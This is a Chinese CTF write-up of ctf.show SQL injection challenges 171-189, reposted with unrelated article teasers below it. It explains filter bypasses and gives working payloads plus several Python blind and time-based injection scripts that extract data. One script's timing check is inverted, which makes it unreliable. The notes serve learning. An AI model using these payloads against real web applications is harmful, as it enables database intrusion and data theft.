ctf_show笔记篇(web入门---sql注入)171-189

sql注入

171:简单的sql注入,尝试万能密码直接过

172:基础联合查询可过

173:过滤flag那就利用substr少取几个flag的名字或者replace

174:两种方法,使用盲注或者利用replace嵌套替换,然后在逆替换

例如:原理,flag是十六进制的,最大到f所以可以用后面的英文来替换

-1"'union select substr(username,2,5),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p') from ctfshow_user4-- adsf

再利用python或者其他或者人工逆向替换回来

175:1.将数据写入文件  2.时间盲注,一般用python写脚本

1.

利用into outfile来将查询到的表的内容写入到服务器的文件里

但这种情况一般需要知道web的地址例如/var/www/html/

2.

import requests
from time import time

url = r'http://4458cad3-9e4d-4cdd-b35d-92e9c0cba734.challenge.ctf.show/select-no-waf-5.php/api/v5.php?id='
flag = ''
a = 0
for i in range(1, 1000):
    print(f'第{i}次')
    high = 128
    low = 30
    while low <= high:
        a += 1
        print(a)
        mid = (low + high) // 2
        sql1 = f'\"\'union select \'a\',sleep(if(ascii(substr(select group_concat(password) from ctfshow_user5 where username=\'flag\'))={mid},2,0))-- asdf'
        sql2 = f'\"\'union select \'a\',sleep(if(ascii(substr(select group_concat(password) from ctfshow_user5 where username=\'flag\'))>{mid},2,0))-- asdf'
        sql3 = f'\"\'union select \'a\',sleep(if(ascii(substr(select group_concat(password) from ctfshow_user5 where username=\'flag\'))<{mid},2,0))-- asdf'

        start_time1 = time()
        req1 = requests.get(url=url+sql1)
        end_time1 = time()
        start_time2 = time()
        req2 = requests.get(url=url + sql2)
        end_time2 = time()
        start_time3 = time()
        req3 = requests.get(url=url + sql3)
        end_time3 = time()

        if start_time1 - end_time1 >= 1:
            flag += chr(mid)
            break
        elif start_time2 - end_time2 >= 1:
            low = mid + 1
        elif start_time3 - end_time3 >= 1:
            high = mid - 1
        print(mid)


print(flag)

176:简单的过滤了select大小写绕过即可

177:简单的空格过滤,使用/**/绕过或者%0a

178:同样过滤空格但是也把/**/过滤掉了,所以使用%0a或者%0b这些

179:同样还是过滤空格,%0a和%0b都给过掉了,可以用%0c

180-181:在mysql里and优先级高于or

原理:and需要两边都为1返回true,例如1and1,但是or只需要一边为1则返回true

假如1 and 0 = 0,如果在后面加一个or 1呢,就会变成 1 and 0 or 1

1 and 0 or 1 == 1 and 1 == 1

payload:

11111'or%0cusername='flag

182:和181相同,flag用concat绕过                                                  ####想用进制绕过,不知道为什么报错

flag = concat('fl','ag')

183:利用python脚本使用regexp盲注

regexp查询以什么开头

import requests
import os

# 这里是我设置的代理
os.environ['https_proxy'] = '127.0.0.1:8080'
os.environ['http_proxy'] = '127.0.0.1:8080'


def main(a, b, c):
    while 1:
        for i in b:
            data = {
                'tableName': f'(ctfshow_user)where(pass)regexp(\'{c}{i}\')'
            }
            print(data)
            str = requests.post(url=a, data=data).text
            if '$user_count = 1;' in str:
                c += i
                print(c)
                break


if __name__ == '__main__':
    flag = 'ctfshow{'
    url = 'http://d194e25b-86d1-4415-b762-f90f080dffe6.challenge.ctf.show/select-waf.php'
    q = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
    main(url, q, flag)

184:这里主要是利用having函数,但是只能在group by函数后利用

在查询语句最后加上group by会把group by后的字段放在最前面,而having有点像是where,会过滤一下group by指定的字段

例如:group by camp having horde

那么下面的图片就只会出现horde这一行啦

另外:flag被过滤,但是可以使用进制替换,182题提过,但是不知道为什么182报错但是184可以用,有大佬的话可以提点一下

import requests
import os

os.environ['http_proxy'] = '127.0.0.1:8080'
os.environ['https_proxy'] = '127.0.0.1:8080'


def search(url, str1):
    global flag
    while True:
        for i in str1:
            c = flag + i
            data = {
                'tableName': f'ctfshow_user group by pass having pass regexp(0x{c.encode().hex()})'
            }
            re = requests.post(url, data).text
            if '$user_count = 1;' in re:
                flag += i
                print(flag)
                break


if __name__ == '__main__':
    flag = 'ctfshow{'
    a = r'http://2d8ea9cc-0b3e-4bb2-86f7-e774825eaff1.challenge.ctf.show/select-waf.php'
    b = '0123456789{}abcdefg-_'
    search(a, b)

185-186:利用concat连接

这一题将数字全禁用了,所以得使用全字符串

concat和true拼接可以转换成数字,true相当于等于1

例如:

concat(true+true)  == 2      concat(true) == 1     concat(true, true) == 11

这里直接用了y4师傅的脚本

# @Author:Y4tacker
import requests

url = "http://341e93e1-a1e7-446a-b7fc-75beb0e88086.chall.ctf.show/select-waf.php"

flag = 'flag{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
    return num


for i in range(45):
    if i <= 5:
        continue
    for j in range(127):
        data = {
            "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
        }
        r = requests.post(url, data=data)
        if r.text.find("$user_count = 43;") > 0:
            if chr(j) != ".":
                flag += chr(j)

                print(flag.lower())
                if chr(j) == "}":
                    exit(0)
                break

187:直接使用ffifdyop,逻辑绕过

188:  

mysql在查询的字母拿来和数字作比较的时候会把以字母开头的转换为0

intval让等号右边为数字0

payload:

username = 0

password = 0

189:  

此题提醒了flag在api/index.php,  大概率就是让用load_file来读取函数

可以使用盲注,  利用上一题提到的特性,  当查询的username为字母开头时会自动转变成0和数字对比,  那么可以传入

user = 0 或者 1   (当user为0时,  会报错登录失败,  当user为1时,  会报错查询失败)

pass = 随意

payload:

import requests


class Payload(object):
    def __init__(self, url):
        self.url = url
        self.flag = 'ctfshow{'
        self._payload = '0123456789abcdefg-}'

    def search(self):
        while 1:
            for i in self._payload:
                c = self.flag + i
                payload = f'if(load_file(\'/var/www/html/api/index.php\')regexp(\'{c}\'),0,1)'
                data = {
                    'username': payload,
                    'password': '123'
                }
                # print(data)
                re = requests.post(self.url, data).text
                print(re)
                if r"\u5bc6\u7801\u9519\u8bef" in re:
                    self.flag += i
                    print(self.flag)
                    break


def main():
    url = 'http://70b8121f-7250-4840-ace4-4bf786560b5a.challenge.ctf.show/select-waf.php'
    a = Payload(url)
    a.search()


if __name__ == '__main__':
    main()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/456640.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

新 树莓派4B 温湿度监测 基于debian12的树莓派OS

前言 本文旨在完成通过外接温湿度传感器至树莓派使得树莓派不断记录并存储温湿度数据 这个领域有很多文章&#xff0c;但是部分文章已经缺乏了时效性&#xff0c;在最新系统不适用&#xff0c;本文目前适用 硬件 硬件连接 温湿度传感器常选用DHT11和DHT22&#xff0c;淘宝…

No transform from [base_footprint] to [base_link]

需要查看这两个坐标系之间的转换 果然&#xff0c;demo05_car_base中父坐标系是base_footprint&#xff0c;意思是从base_footprint到base_link的转换&#xff0c;而不是从固定坐标系base_link到base_footprint 修改&#xff1a; 父坐标系修改成base_link即可

1356:计算(calc)

【算法分析】解法1&#xff1a;中缀表达式直接求值 1、设数字栈、运算符栈。设数组表示运算符优先级&#xff0c;其中(优先级最高&#xff0c;)优先级最低。 从左向右扫描表达式字符串&#xff1a; 2、遇到数字时&#xff0c;入数字栈。 3、遇到运算符时&#xff0c;入栈条件为…

20240314一种各向同性负泊松比多孔材料的设计

Design of a porous material with isotropic negative Poisson’s ratio DOI&#xff1a;http://dx.doi.org/10.1016/j.mechmat.2016.02.012 摘要&#xff1a;本文提出了一种具有全方位负泊松比的二维多孔体的设计方法。孔隙的六边形周期性分布使力学性能&#xff08;泊松比…

计算机msvcr120.dll丢失怎样修复,教你5种方法轻松搞定

我们在玩游戏运行软件的时候&#xff0c;电脑系统提示无法启动此程序&#xff0c;因为计算机中丢失MSVCR120.dll&#xff0c;尝试重新安装该程序以解决此问题。究其原因&#xff0c;是由于在我们的计算机系统中&#xff0c;发现缺失了一个至关重要的动态链接库文件——MSVCR120…

国外visa卡怎么办理,可充ChatGPTPLUS、Claude、Midjourney

很多小伙都在使用ChatGPT&#xff0c;但是想充值ChatGPTPLUS缺需要国外的visa卡&#xff0c;拿自己的银联卡&#xff0c;尝试了好多次还是不行&#xff0c;其实用一张国外的visa卡几分钟就可以升级好 办理国外visa卡&#xff0c;点击获取 国外的visa卡&#xff0c;具体要看你…

rtsp流实现web端实时播放(海康+大华)

最近的电力项目需要嵌入海康摄像头画面&#xff0c;之前没有做过类似的流媒体播放&#xff0c;所以有些懵&#xff1b; 海康开放平台的webAPI&#xff0c;有插件还是无插件&#xff0c;都不适合自研web系统的嵌入&#xff0c;所以需要自己进行解流&#xff1b; 首先&#xff0c…

火山引擎VeDI:A/B实验如何应用在APP推荐系统中?

更多技术交流、求职机会&#xff0c;欢迎关注字节跳动数据平台微信公众号&#xff0c;回复【1】进入官方交流群 在移动互联网飞速发展的时代&#xff0c;用户规模和网络信息量呈现出爆炸式增长&#xff0c;信息过载加大了用户选择的难度&#xff0c;这样的背景下&#xff0c;推…

在IDE中配置tomcat服务器

目录 一、新建一个java项目二、添加web框架三、配置tomcat服务器四、运行访问发布的项目 前言&#xff1a;在 IntelliJ IDEA 中配置 Tomcat 服务器是 Java Web 开发的基础步骤&#xff0c;以下是如何在 IDEA 中设置 Tomcat 并部署 Web 项目的简要指南。 一、新建一个java项目 新…

Hadoop大数据应用:Linux 部署 MapReduce 与 Yarn

目录 一、实验 1.环境 2.Linux 部署 MapReduce 3.Linux 部署 Yarn 4.Linux 调用大数据集群分析数据 二、问题 1.hadoop 的启动和停止命令 2.HDFS 使用命令 一、实验 1.环境 &#xff08;1&#xff09;主机 表1 主机 主机架构软件版本IP备注hadoop NameNode &#xf…

在分布式环境中使用状态机支持数据的一致性

简介 在本文中&#xff0c;我们将介绍如何在分布式系统中使用transaction以及分布式系统中transaction的局限性。然后我们通过一个具体的例子&#xff0c;介绍了一种通过设计状态机来避免使用transaction的方法。 什么是数据库transaction Transaction是关系型数据普遍支持的…

【Ubuntu】gonme桌面的 gdm 和 lightdm 区别

总结&#xff1a;都可以 gdm: 【Gnome Display Manager】 完整&#xff0c;体积大 lightdm: 【Light Display Manager】 轻量

学习Java的第十天

本章来讲一下什么是字符串 一、什么是字符串 在Java中&#xff0c;最常见的基本类型就是字符串了&#xff0c;哪哪都能见到&#xff0c;如输入语句&#xff0c;输出语句等&#xff01;那么&#xff0c;什么是字符串呢&#xff0c;字符串就是String类&#xff0c;String类是Ja…

【Python】新手入门学习:详细介绍里氏替换原则(LSP)及其作用、代码示例

【Python】新手入门学习&#xff1a;详细介绍里氏替换原则&#xff08;LSP&#xff09;及其作用、代码示例 &#x1f308; 个人主页&#xff1a;高斯小哥 &#x1f525; 高质量专栏&#xff1a;Matplotlib之旅&#xff1a;零基础精通数据可视化、Python基础【高质量合集】、PyT…

颠覆传统!D 咖无人咖啡机再添新动作

D 咖无人咖啡机&#xff0c;作为国内领先的无人自助咖啡机品牌&#xff0c;一直以来都在不断创新和升级&#xff0c;以满足消费者日益增长的咖啡需求。近日&#xff0c;D 咖智能饮品机再添新动作&#xff0c;推出了一系列令人期待的新功能和服务&#xff0c;再次引领便捷咖啡新…

[MYSQL数据库]- 索引

前言 作者&#xff1a;小蜗牛向前冲 名言&#xff1a;我可以接受失败&#xff0c;但我不能接受放弃 如果觉的博主的文章还不错的话&#xff0c;还请点赞&#xff0c;收藏&#xff0c;关注&#x1f440;支持博主。如果发现有问题的地方欢迎❀大家在评论区指正 目录 一、认识索…

C#快速入门基础

本篇文章从最基础的C#编程开始学习&#xff0c;经过非常优秀的面向对象编程思想和方法的学习&#xff0c;为C#编程打下基础。 第 01 章 C#开发环境之VS使用和.NET平台基础 1.1 Visual Studio 开发环境 1.1.1 硬件环境 i5CPUi5CPU&#xff08;建议 4核 4线程或以上 &#xff0…

android 怎么自定义view

首先了解view的绘制流程: 所以onmeasure ---测量view onlayout---确定view大小----》所以继承ViewGroup必须要重写onlayout,确定子view 而onDraw----是继承view时候需要操作的。 所以:自定义ViewGroup一般是利用现有的组件根据特定的布局方式来组成新的组件。 自定义Vi…

计算机网络——计算机网络体系结构

计算机网络——计算机网络体系结构 计算机网络体系结构的由来正确认识分层协议与层次划分著名的几个体系结构OSI体系结构TCP/IP体系结构5层体系结构 我们今天来了解一下计算机网络体系结构&#xff1a; 计算机网络体系结构的由来 俗话说&#xff0c;“没有规矩&#xff0c;不…

Ele admin pro和iView Admin pro的用户管理页面对比

Ele admin pro和iView Admin pro都是非常优秀的B端框架&#xff0c;功能大同小异&#xff0c;本文就着重比对一下二者的用户案例页面&#xff0c;让老铁们感知一些细节。 一、用户列表 用户列表 用户列表 二、用户编辑 三、用户添加 四、角色管理 五、权限分配 六、角色添加